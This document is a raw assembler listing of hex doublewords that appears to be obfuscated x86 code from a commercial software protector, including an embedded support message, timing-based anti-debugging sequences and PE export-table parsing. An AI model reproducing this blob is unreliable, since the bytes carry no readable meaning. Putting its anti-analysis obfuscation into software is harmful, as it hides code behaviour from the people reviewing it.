		dd 16142A8h, 75C32409h,	8B2D0E50h, 0E70C885h, 820F6006h
		dd 16h,	10E8h, 0B6797700h, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh
		dd 8B665806h, 0E9C361F0h, 11h, 0C3F1DCA0h, 0F8D29130h
		dd 89A73A4h, 76C219E1h,	18C0F57h, 0F9000000h, 8B0F6060h
		dd 2, 5E9F08Bh,	3000000h, 48E3A63Bh, 2FBD8361h,	60E78h
		dd 8E850Fh, 0E8600000h,	6, 763AD26Bh, 8B0FE6FFh, 0
		dd 0EE85Ah, 0EF960000h,	0FA118AFCh, 8D6D5379h, 3EF9ACC3h
		dd 5EC8BF0Fh, 85C7F861h, 60E782Fh, 1013Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 79C35747h, 0A8C983FFh
		dd 730F2D04h, 7E960h, 1C3E0000h, 520168FDh, 0BE81Ah, 90150000h
		dd 87101576h, 0A502D5FEh, 0FE98Ch, 4F760000h, 925D145Ah
		dd 0BD3C6A25h, 0D126D72Fh, 0FC615891h, 10E9h, 0A890F00h
		dd 0E9000000h, 5, 72A9C942h, 20CD45h, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 60E70D0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 60E70CCh, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 60E70C8h, 8B04EBh, 8B61C5EBh, 0E70C885h, 6ACF06h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1B24A1C3h, 880FBBC4h, 0Eh, 9E9h, 49A11300h, 48AA617Dh
		dd 8F0F1F08h, 7, 18A0Fh, 6AF80000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4743C356h
		dd 8B0F5052h, 8, 0CFB70F60h, 61BAEF80h,	0E9C08Bh, 4, 33000000h
		dd 69206E41h, 7265746Eh, 206C616Eh, 65637865h, 6F697470h
		dd 636F206Eh, 65727563h, 41282064h, 65726464h, 203A7373h
		dd 78257830h, 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh
		dd 73207463h, 6F707075h, 6F407472h, 6E616572h, 6F632E73h
		dd 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 122Fh, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Ah, 5C35141h, 7E3C7D92h, 8D8904EEh, 60B212Dh
		dd 194D858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 1AA3FFC3h, 25BD8969h, 0F9060B0Dh
		dd 9E9h, 79A00F00h, 0F618C359h,	4439B1D3h, 850F0424h, 0A5h
		dd 0E599D89h, 0BD83060Bh, 60B0DB1h, 92840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0C1FC353h, 602A9497h, 0FDA8B60h, 8Bh, 6E96100h
		dd 0DA000000h, 70AC4C15h, 858D614Bh, 60B390Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C5C35141h, 0BEFB35EFh
		dd 0FF43DC0Ah, 50006AE0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0EE921B1h, 0F6000000h
		dd 0E0963092h, 0FBEEFFAEh, 6DA4F279h, 15858B88h, 6A060B03h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 74AEC356h, 4439642Fh, 850F0424h, 0Ch, 0E785C7F5h
		dd 1060E7Ch, 0F5000000h, 51006A60h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0CE92778h, 32000000h
		dd 0DF1F7FFCh, 79D5EFE5h, 0E95D4744h, 28h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 7AC35141h, 0B5296C01h
		dd 60B3319h, 0
		dd 1B8h, 94858700h, 0B060E7Eh, 0FFF675C0h, 0B2845B5h, 0DF858F06h
		dd 6A060E7Ch, 0FFFF6A20h, 0B1BBD95h, 1BD8306h, 60B23h
		dd 6A0874h, 32DD95FFh, 0BD83060Bh, 60B1611h, 680D7401h
		dd 80h,	95FFFF6Ah, 60B1BBDh, 0C3B70F60h, 0EE8h,	6FDBBF00h
		dd 2D585FBAh, 787A6F1Bh, 8BAA6E4Ah, 0B0C059Dh, 0E9615E06h
		dd 12h,	38137D73h, 1C566DF2h, 28034F95h, 6F762ABCh, 0B8BFEFh
		dd 0F000000h, 689h, 59953100h, 8B060B0Fh, 1282454h, 0B32E595h
		dd 0E9858906h, 60060B05h, 2840Fh, 5F510000h, 193D8D89h
		dd 0BE61060Bh, 3Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 61C35646h, 0A0F77568h, 760E8BD1h, 119D896Bh
		dd 3060B32h, 29242474h,	0B23599Dh, 31AD6606h, 0B335D85h
		dd 24440306h, 14E924h, 66EB0000h, 8CD936F4h, 429F355Bh
		dd 0EB23947Eh, 4929611Ah, 6090EFF5h, 0FB4811BEh, 0E950614Ah
		dd 0Bh,	96A9B5B3h, 5886D2DFh, 90DF3B7Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 36C35747h, 0B9BB5D9Fh
		dd 8978408Bh, 0B2061B5h, 0BD83F506h, 60E7CE7h, 22850F00h
		dd 0F000001h, 68Eh, 0B9952900h,	90060B32h, 8860Fh, 890F0000h
		dd 2, 50506160h, 5B86052h, 0E802A8F0h, 0Dh, 8E7049AAh
		dd 7624F643h, 62DACCB1h, 0F6159DEh, 5E931h, 80FF0000h
		dd 5A44681Ah, 6A9058h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 5208DC3h, 0BD01FF24h, 60B2711h
		dd 2C24448Bh, 8E860h, 0C7BB0000h, 0B0E3CEC8h, 0AE9D5A3h
		dd 8B000000h, 582FF72h,	21CED6CEh, 13E95AACh, 53000000h
		dd 364B4158h, 676DDD46h, 754C6C61h, 8E1694C3h, 50619B09h
		dd 11E9h, 34B1C00h, 60E13144h, 88CCDF70h, 0F509CA2h, 4897B7Ch
		dd 8E924h, 158C0000h, 0B8C7EB2Eh, 858DC5E8h, 60E4E0Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 2AC35141h
		dd 0DCF5A4FAh, 0A878BF60h, 61F835CDh, 6AD0FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 52ECF5C3h, 75034A97h, 244403F5h, 99D2928h, 0E9060B33h
		dd 10h,	35D1C242h, 0B6BCB4CDh, 0A8B36B80h, 0B84584DEh
		dd 8918408Bh, 0B00959Dh, 6A4006h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 1FB956C3h, 11E9C769h
		dd 0CB000000h, 0E6CABA60h, 88467B3Bh, 7B4077ECh, 0D9A7FDD5h
		dd 7CE38589h, 9589060Eh, 60B2819h, 0F6058F8h, 0B509C6B7h
		dd 60B2B71h, 78708B61h,	1CC683F9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 8FC35242h, 3C91721Dh, 20219D01h
		dd 6A96060Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0DD7FC355h, 60A8C02Ch,	31299529h
		dd 0FE8060Bh, 2A000000h, 0FB88CB74h, 920B3403h,	885CD333h
		dd 0B5091B52h, 60B2B29h, 7C816158h, 2424h, 870F1000h, 0DBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 42C35646h
		dd 0E60E7BC3h, 50F81067h, 61606060h, 0F615952h,	80h, 4896100h
		dd 0CB806024h, 0DE8166F1h, 8B61AC5Eh, 6A282444h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 6094C351h, 2A759D89h, 9E9060Bh, 77000000h, 53D2BA18h
		dd 0A089139Ch, 820F9061h, 0Bh, 6E9h, 9B774D00h,	5067735Fh
		dd 128F0Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 6D9D3190h, 8D060B16h, 0E4E0F85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0A8A0D823h, 6660D0FFh, 0E95FCA81h, 1659958Bh, 9661060Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 4C35040h
		dd 0C7C0B122h, 7403F8B7h, 810F2424h, 6,	3299529h, 0BD8D060Bh
		dd 60B242Dh, 13E9h, 0FFC73800h,	0FC0EF1C1h, 0F9D37EBBh
		dd 35AE768Bh, 3C648C74h, 6870Fh, 95890000h, 60B33A5h, 51006AADh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 6E9C3DBh, 0BD000000h, 3A53F022h, 247C818Dh, 24h, 1C870F10h
		dd 0F000001h, 682h, 45852900h, 0F060B19h, 0D8Ch, 9D8B6000h
		dd 60B1965h, 9A0E1ABFh,	50506125h, 8B666052h, 61C18BC6h
		dd 5060310Fh, 5A310F52h, 585A6158h, 0E9240489h,	5, 0ACCD3D6Ch
		dd 24448B63h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 2FBD90Fh,	4F5E135Bh, 90FC82B2h, 61605260h
		dd 4254BF5Eh, 50617893h, 0DF8B6660h, 0F028BB66h, 6A9061h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0A7A984C3h, 62AFABC5h, 6E9B821h, 0FC000000h,	0DF9D3384h
		dd 858DF9D3h, 60E4E0Fh,	1958B60h, 0E9060B0Eh, 0Eh, 0DEBB9C7Bh
		dd 6376F6B5h, 0A740732Ah, 0FF61A962h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 13E9977Ch, 58000000h, 0F694E312h, 17049A77h,	48BBC66Fh
		dd 11377253h, 0CE9659Dh, 69000000h, 0A69D586Fh,	87FEA92Dh
		dd 38E298Ch, 6A242444h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D1EEC355h,	0B5312AA9h
		dd 60B06B5h, 858B60ABh,	60B0C8Dh, 6850Fh, 0BD8B0000h, 60B01D1h
		dd 0FA8161h, 0F000100h,	80882h,	0B5953100h, 8D060B18h
		dd 0B0535BDh, 0AE906h, 0D94A0000h, 4FFCA228h, 0CA5BFB00h
		dd 50006AADh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0AF535337h, 21BD317Ah, 89060B15h, 0B29E585h
		dd 0F1B58906h, 81060B30h, 24247Ch, 0F100000h, 11B87h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 14398CF7h, 810F30CAh, 1Bh, 15850Fh, 10E90000h, 3D000000h
		dd 0DDAF2CD2h, 0D99A4A1Ch, 30CB3C18h, 5090D789h, 138D0Fh
		dd 0EE90000h, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h
		dd 24048931h, 599D29F8h, 8B060B0Fh, 6A282444h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 2470C357h, 83D46D38h, 7429224Ch, 94BF6660h, 60506108h
		dd 6744ABB9h, 1BBF6677h, 48961E1h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 318E0E73h
		dd 9C8FD90Bh, 68B0F8Fh,	9000000h, 0B187985h, 0BD296006h
		dd 60B28CDh, 29CD8D23h,	8D61060Bh, 0E4E0F85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89F1080Ah, 0B09859Dh, 0F5B50906h, 0FF060B18h, 1810FD0h
		dd 0F8000000h, 24244403h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 51C35040h, 1840Fh, 50F50000h,	0D810Fh
		dd 8E90000h, 0C9000000h, 95CDFCE8h
		dd 897DD836h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C97F56C3h, 8840Fh, 8C0F0000h, 2
		dd 89AB6160h, 0B26E1BDh, 89BD8D06h, 0F060B28h, 1987h, 13880F00h
		dd 0E9000000h, 0Eh, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h
		dd 6AAD2781h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 335BC351h, 22ECE5CAh, 49850109h
		dd 81060B0Fh, 28247Ch, 0F100000h, 11687h, 359D8900h, 90060B10h
		dd 50D88B60h, 8A310F52h, 61585ACEh, 10E950h, 0E52F0000h
		dd 5427693Fh, 53DF443h,	2B8CC93Fh, 0F90AD26h, 0A8Fh, 858B6000h
		dd 60B0CC9h, 8B61C18Ah,	602C2444h, 3C15E381h, 50610A5Bh
		dd 0FE9h, 0EE76CB00h, 9B0E9CCh,	0CDDE0305h, 95E9AB4Fh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 7E00C355h, 473B42CAh, 8947851Ah
		dd 0B18A985h, 0F858D06h, 6A060E4Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EF18C353h
		dd 0F99A94Eh, 3285h, 11E96000h,	23000000h, 5A4ADC03h, 0B5A67541h
		dd 51FFD74Eh, 635000BEh, 14E8h,	86519700h, 0D089E31Dh
		dd 75F652A5h, 96EDDBB5h, 0CDE301FBh, 31615A82h,	0B27CD95h
		dd 60D0FF06h, 13599589h, 14E8060Bh, 88000000h, 694720BFh
		dd 0D45E569Fh, 7E4356BAh, 9C9CCEABh, 0F6E620Ah,	8Fh, 3615A00h
		dd 6A282444h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7996C356h, 9BF7A6C7h, 16041DFh
		dd 0B0E698Dh, 0AE906h, 9FE90000h, 86192DD6h, 80646015h
		dd 5EFCAB61h, 7CE38DFFh, 0BD83060Eh, 60E7CE3h, 330A7500h
		dd 55B58DC0h, 0FF060E8Ch, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 0E4E0F85h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 60E7CDFh,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 5E985FFh
		dd 5DE9060Bh, 5EFFFFFFh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0BDC35242h, 8154FDB0h, 0F3C6DD0h, 0A85h
		dd 800F6000h, 0
		dd 0F961D08Bh, 0DE9h, 0CBDD2C00h, 0A964E753h, 0B62F16C7h
		dd 6660CAC1h, 66D5FDBFh, 1AC3D781h, 0E9858B61h,	6A060B05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 13ECC352h, 1BDD7C19h, 7E93Fh, 25930000h
		dd 0A5C28E41h, 168C0F4Ch, 0E9000000h, 11h, 0A9189CEAh
		dd 0E79B5FF3h, 88C7FBBCh, 0C42209D7h, 6AE0D120h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 4C05C355h, 898503BCh, 0F060B28h, 0D87h, 958B6000h, 60B0C15h
		dd 0A8D272BBh, 0F62B614Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 99C35141h, 8544C777h,	96FC6E41h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7DC35242h, 0AD66A7A0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h
		dd 60BDD2D4h, 8F0F52h, 5B000000h, 6880Fh, 890F0000h, 0
		dd 2E0C161h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0E9C35141h, 0EBC7E413h,	0F84BED4Eh, 0DD9D8960h
		dd 0B7060B27h, 85036147h, 60B242Dh, 0EE9BD29h, 6A96060Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E93AC357h, 6, 0FFBA0FFEh, 0FC604D1Ah, 0DE8h
		dd 0DBC3E200h, 0A39D2FE3h, 0D9B45870h, 61585B62h, 51006AADh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0DF9BF7A6h, 64FD0041h, 0BD31D84Fh, 60B01B5h,	24247C81h
		dd 10000000h, 119870Fh,	90FC0000h, 10E9h, 0B04D1000h, 0CEBA1C6Dh
		dd 0FC7B39BDh, 0E9B2D496h, 0B060502Eh, 61F08BC7h, 21952990h
		dd 8B060B22h, 6A282444h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2E6FC356h, 0B0FD345Dh
		dd 1D8589h, 5090060Bh, 50525052h, 5A310F52h, 0E9310F58h
		dd 13h,	188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 5A6C7B49h
		dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 50585A58h
		dd 68B0Fh, 56600000h, 615A515Ah, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0E1B1C535h
		dd 13E860h, 910000h, 0BB745ADh,	0F5F7B037h, 757F4CDh, 933C80D1h
		dd 0F9EC807Fh, 61C1B558h, 4E0F858Dh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 22233DC3h
		dd 0CCCDDD66h, 0FFF59616h, 11E9D0h, 5B980000h, 6213BFB1h
		dd 1EB9A71Dh, 4A02587Eh, 3DD6C00h, 29242444h, 0B1315B5h
		dd 24448906h, 58D091Ch,	0C6060B10h, 0B284585h, 85C70006h
		dd 60E7E94h, 0
		dd 7CE785C7h, 60Eh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 5F21F3C3h, 3281A6B9h
		dd 0F42C0C6h, 880h, 2810F00h, 60000000h, 0B1B50961h, 0F8060B21h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9AADFF83h, 9D0B60FCh, 60B1B71h, 50644EBFh
		dd 8C26105h, 68D0F00h, 9000000h, 0B00E185h, 2D858B06h
		dd 6A060B24h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 407FC356h, 6CB3EFB3h, 89B58960h
		dd 0FC060B12h, 219D8961h, 4A060B15h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 1CC35141h, 0E9F0DEBCh, 0Ch
		dd 0C72D6C70h, 3106CBDAh, 0F2923833h, 68B0Fh, 0B5010000h
		dd 60B1A21h, 0E904D26Bh, 9, 0B9DFC346h,	89A1D326h, 0F8C203D6h
		dd 7E9h, 48CBB400h, 6F82B9C3h, 56006A96h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0E9BD89F8h
		dd 0E9060B22h, 10h, 5DD5DB7Dh, 9DD427E9h, 0C9A2FCAh, 7D21E180h
		dd 6E960ADh, 0A6000000h, 0E0DB6259h, 68B0F7Dh, 2B000000h
		dd 0B12F5BDh, 7C816106h, 2424h,	870F1000h, 126h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h, 4EFE3E74h
		dd 0F40132CAh, 6870F8Bh, 89000000h, 0B0729B5h, 870F5006h
		dd 15h,	10E9h, 0B8EA6000h, 0BF795E35h, 223AE6EBh, 0ABF33557h
		dd 240489EDh, 12E9h, 6A46BD00h,	0C65F885Fh, 0DD5CF6ABh
		dd 0E49939BBh, 8B3B06E5h, 0E9282444h, 0Eh, 4AAC1E37h, 0C6AAFF8Ah
		dd 1D7E5D08h, 5050FE6Bh, 0D6BE6052h, 6158BFC7h,	6660310Fh
		dd 66C912B9h, 6132D9B9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 2003879Bh
		dd 8E9101Bh, 95000000h,	0F63DD78Ch, 8DDB9E6Eh, 0E4E0F85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 92BBA041h, 39AEB283h, 0F60D7D6h,	680h, 7FC88100h
		dd 8B37F235h, 0B0F6195h, 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 94C35545h, 3CE9F8A0h, 0E9FFFFFDh
		dd 0Bh,	0B9727575h, 0C4FDA033h,	8DAC4235h, 0E929385h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DE21109Fh, 0D7AF8643h, 0B52987A6h, 60B1061h, 10E990h
		dd 24190000h, 29D16E53h, 4D6B3A19h, 0F964F7E9h,	0F509DC6h
		dd 0E8Ch, 60525000h, 0F310F61h,	88h, 90585A00h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8CC35646h, 0C585893Fh
		dd 64060B27h, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 2927A4C3h, 0B5893187h
		dd 60B2EF5h, 6A24048Bh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 3C77C355h, 0C21CD538h
		dd 9E99Bh, 0CE3F0000h, 0F9CB93A8h, 0FC5A2D3h, 68Bh, 718D8900h
		dd 89060B33h, 0B092585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 92055E29h, 0EE7E3C7Dh
		dd 0B52B6004h, 60B18A1h, 61C28B66h, 27619531h, 8964060Bh
		dd 25h,	0E9952900h, 8D060B0Ah, 0E90A485h, 49852906h, 89060B28h
		dd 95890160h, 60B1925h,	253E9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 5399CE1Eh
		dd 0F5958B60h, 8B060B03h, 0DB8B61C2h, 0E8h, 0ED815D00h
		dd 60E909Dh, 12FF9CBCh,	11BD8300h, 60B16h, 858B1874h, 60B2EC5h
		dd 8B0000C6h, 0B276585h, 0C606h, 2F4D95FFh, 0FF60060Bh
		dd 0E78EBB5h, 0EF858D06h, 50060E78h, 7AE7858Dh,	0FF50060Eh
		dd 0B000D95h, 0CC48306h, 0B9606061h, 22707BEEh,	6A6161h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0B44DCCC3h, 0B58DC73Ch, 60E7AE7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 13C35343h, 728CBA6Ah, 60ACF80Ah
		dd 68C0Fh, 95890000h, 60B03D5h,	61F28B66h, 18A0Fh, 8DF50000h
		dd 0B24BDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0C3C64727h, 7846EB5Fh, 3E80F506h
		dd 68840F00h, 0F000000h, 181h, 9501F900h, 60B010Dh, 13E9A4h
		dd 0AEA10000h, 0DDAE2E2Eh, 474BC085h, 162D95EAh, 7C35A6F5h
		dd 0FFCCE9D9h, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0A15158C3h, 5841E9Fh, 8B666050h
		dd 83F8B8FBh, 0F612DFCh, 0A86h,	5E900h,	0B7840000h, 0B89C4530h
		dd 0
		dd 8E9h, 0AB09FE00h, 0A71414D3h, 0B589AAC6h, 60B0829h
		dd 7B8h, 10E96000h, 65000000h, 14EA64D2h, 619B11ADh, 0E9F40F58h
		dd 66A9D228h, 61886DB8h, 0C3D85C7h, 1060Bh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 45F96C3h, 9F0D283Ah,	0D78D8DAAh, 0F060B4Dh, 686h, 0D59D0100h
		dd 0FF060B05h, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 893F2B13h, 0B1B71BDh
		dd 9DBD3106h, 8B060B32h, 550C245Ch, 0E8h, 0ED815D00h, 60E929Dh
		dd 0B8838Bh, 85890000h,	60E78EBh, 9096858Dh, 8389060Eh
		dd 0B8h, 0C3C0335Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0D0C35747h, 2E24EE5Eh, 2061BD89h, 6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 903A7C3h, 0B2EC995h,	0B5896006h, 60B277Dh, 2E658D09h
		dd 6061060Bh, 0CF858DF5h, 31060E94h, 0B33A99Dh,	8B609006h
		dd 0B003BEFAh, 50613C2Bh, 840F5250h, 6,	310F5250h, 310F585Ah
		dd 0DF8B6660h, 90585A61h, 7E9FCh, 41460000h, 0F09B3AA9h
		dd 35FF64F2h, 0
		dd 1161B589h, 0E960060Bh, 7, 0D8210239h, 0E98C20FEh, 14h
		dd 14127BA7h, 0F82E50D5h, 0CE496010h, 36C81FD2h, 71C47955h
		dd 25896461h, 0
		dd 21819D89h, 858D060Bh, 60E954Fh, 11D8D29h, 0B531060Bh
		dd 60B3179h, 60016089h,	0ED5852Bh, 0BD89060Bh, 60B0789h
		dd 4585C661h, 4F060B28h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 72C35545h, 0E468FCF8h, 608EA509h, 6E9h
		dd 6BAA400h, 66899F42h,	6142B5B9h, 46240481h, 6A70236Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 67E3C355h, 0C1B70F60h, 2211BD89h,	0F961060Bh
		dd 1355B5FFh, 8DF5060Bh, 0E7D1885h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0B1621Fh, 31DC388Dh
		dd 0B059D9Dh, 0B5896006h, 60B1A25h, 11E8h, 638B700h, 2D7BB8D0h
		dd 6D95AAECh, 9D0C0DEFh, 58F5C0F2h, 6AD0FF61h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0DC96C355h, 5516CDAFh, 11B86059h, 505A1BE4h,	9D01615Eh
		dd 60B010Dh, 9EE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8B5BA9F0h, 550C245Ch
		dd 0E8h, 0ED815D00h, 60E94D9h, 0B01858Bh, 8589060Bh, 60B1355h
		dd 315858Bh, 8589060Bh,	60B27F5h, 194D858Bh, 8589060Bh
		dd 60B0701h, 284585C6h,	0C700060Bh, 0E7E9485h, 6, 4F858D00h
		dd 89060E95h, 0B883h, 0C0335D00h, 3D9589C3h, 6A060B10h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0F7E8C357h, 9D85099Dh, 0BC060B05h, 12FF74h
		dd 5958529h, 8F64060Bh,	5, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0AE95Ah, 0FFAB0000h
		dd 98C2B3C5h, 0C366151h, 6860Fh, 95010000h, 60B1215h, 8196B360h
		dd 0BB46AAD6h, 0C483616Fh, 0DB50104h, 61060B22h, 83E9h
		dd 52515300h, 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h
		dd 66D8033Ch, 45503B81h, 57850Fh, 5B8B0000h, 245C0378h
		dd 24738B1Ch, 1C247403h, 207B8B56h, 31C738Bh, 320247Ch
		dd 0FC202474h, 41FFC983h, 1C245C8Bh, 5403178Bh,	0C7832024h
		dd 84028A04h, 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h
		dd 0B70FE1D1h, 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h
		dd 0E9C03300h, 0FFFFFFF1h, 8E8CA8Bh, 4E000000h,	49E52995h
		dd 0E9271A19h, 5, 2382A580h, 0DEBB5EB9h, 814A61D0h, 6922C6h
		dd 0CE95300h, 65000000h, 99F06836h, 91D3D6DDh, 5A861833h
		dd 1A1168h, 0CE900h, 0A12F0000h, 57389E0Dh, 217ABEEBh
		dd 6658DBA0h, 9336D281h, 0BF0F3E8Bh, 0D3EF81D6h, 0F4D6DB8h
		dd 88Dh, 2860F00h, 0B2000000h, 21F78172h, 0F65F0F3h, 584h
		dd 0D2816600h, 0EF812C81h, 42C843BFh, 0DD8AF560h, 0E2805761h
		dd 0E9068F5Ah, 8, 8B3AB9CBh, 0A9E54939h, 8B02EE83h, 814E4EDEh
